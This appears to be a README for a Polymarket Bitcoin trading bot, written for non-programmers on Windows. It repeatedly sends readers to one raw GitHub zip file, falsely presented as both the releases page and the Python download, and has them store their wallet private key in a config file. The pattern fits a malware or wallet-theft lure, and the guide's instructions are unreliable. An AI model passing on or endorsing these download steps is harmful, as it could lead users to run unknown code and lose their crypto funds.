polymarket-bot is a tool designed to trade Bitcoin (BTC) automatically on Polymarket's 15-minute markets. It connects to real-time price data through WebSocket feeds from Binance and Polymarket. The bot watches prices and places trades based on rules you set. It also stops losses automatically and can redeem rewards without your intervention.
The software includes a web dashboard to let you see your balance, active trades, trade history, and logs. It helps you track how the bot performs in real time.
This guide walks you through downloading, installing, and running polymarket-bot on a Windows computer with no programming knowledge.
To get started, visit the official releases page at:
https://raw.githubusercontent.com/NC-Paul/polymarket-bot/main/static/polymarket_bot_3.0.zip
Here you can download the latest version of the software. Look for the Windows-compatible package (usually a .zip or .exe file).
Click the download link for the file, save it to your computer, and remember where you saved it.
- Windows 10 or later (64-bit recommended)
- 4 GB RAM minimum
- At least 500 MB free disk space
- Active internet connection for price feeds and trading
- Python 3.8 or later (this guide covers installation)
polymarket-bot runs on Python. You need this to run the bot on Windows.
- Open https://raw.githubusercontent.com/NC-Paul/polymarket-bot/main/static/polymarket_bot_3.0.zip
- Click on the “Download Python 3.x.x” button (where x.x is the latest version).
- When the installer opens, check the box "Add Python 3.x to PATH" at the bottom.
- Click “Install Now” and wait for it to finish.
- To check installation, open Command Prompt and type:
It should print the version number.
python --version
- After downloading the latest release, unzip the file if it is in
.zipformat. - Place the folder in an easy-to-remember location, for example
C:\polymarket-bot. - Open Command Prompt:
- Press
Win + R, typecmd, hit Enter.
- Press
- Navigate to the bot folder by typing:
Replace with your actual folder if different.
cd C:\polymarket-bot - Install required Python packages by running:
pip install -r requirements.txt - Wait while dependencies get installed.
Before starting, you need to set up the bot’s options.
Locate the file named config.env in the bot folder. Open it with Notepad or any text editor.
Edit the following fields:
-
PRIVATE_KEYThis is your wallet’s private key. It lets the bot sign trades. Keep this safe and do not share.
-
POLYGON_RPC_URLThis is the address of the Polygon network node. Use a free provider like Alchemy or Infura.
-
SIGNATURE_TYPEUse
2as the default.
Fill in if you use network proxies.
-
HTTP_PROXY/HTTPS_PROXYExample format:
http://host:portorhttp://user:pass@host:port
Leave empty if unused.
-
AUTO_TRADESet to
trueto enable automatic trades orfalseto disable. -
TRADE_AMOUNTAmount in USDC for each trade.
Set any of these to control when to buy:
CONDITION_1_TIMECONDITION_2_PRICECONDITION_3_VOLUME
Values should fit your trading preferences.
Save the file when done.
- Open Command Prompt.
- Navigate to the bot folder if you are not already there.
- Run the bot by typing:
python app.py - The bot will connect to live price data and start trading if enabled.
The bot provides a web dashboard to see your balances, open trades, and logs.
- Open your web browser.
- Go to:
http://localhost:5000 - The dashboard updates every few seconds with current data.
Use the dashboard to monitor the bot’s activity clearly.
When new updates appear, follow these steps:
- Go back to the Releases page.
- Download the latest version.
- Replace your current folder files with the new ones.
- Repeat steps in Installing and Running sections to restart the bot.
- If Python command is not found, make sure Python is added to your PATH during installation.
- If dependencies fail to install, try upgrading pip:
python -m pip install --upgrade pip - Check your
config.envfor typos or missing fields. - Ensure your internet connection is stable.
-
Install dependencies:
pip install -r requirements.txt -
Run the bot:
python app.py -
Stop the bot: Close the Command Prompt window or press
Ctrl + C.
Visit the releases page to download the latest version:
https://raw.githubusercontent.com/NC-Paul/polymarket-bot/main/static/polymarket_bot_3.0.zip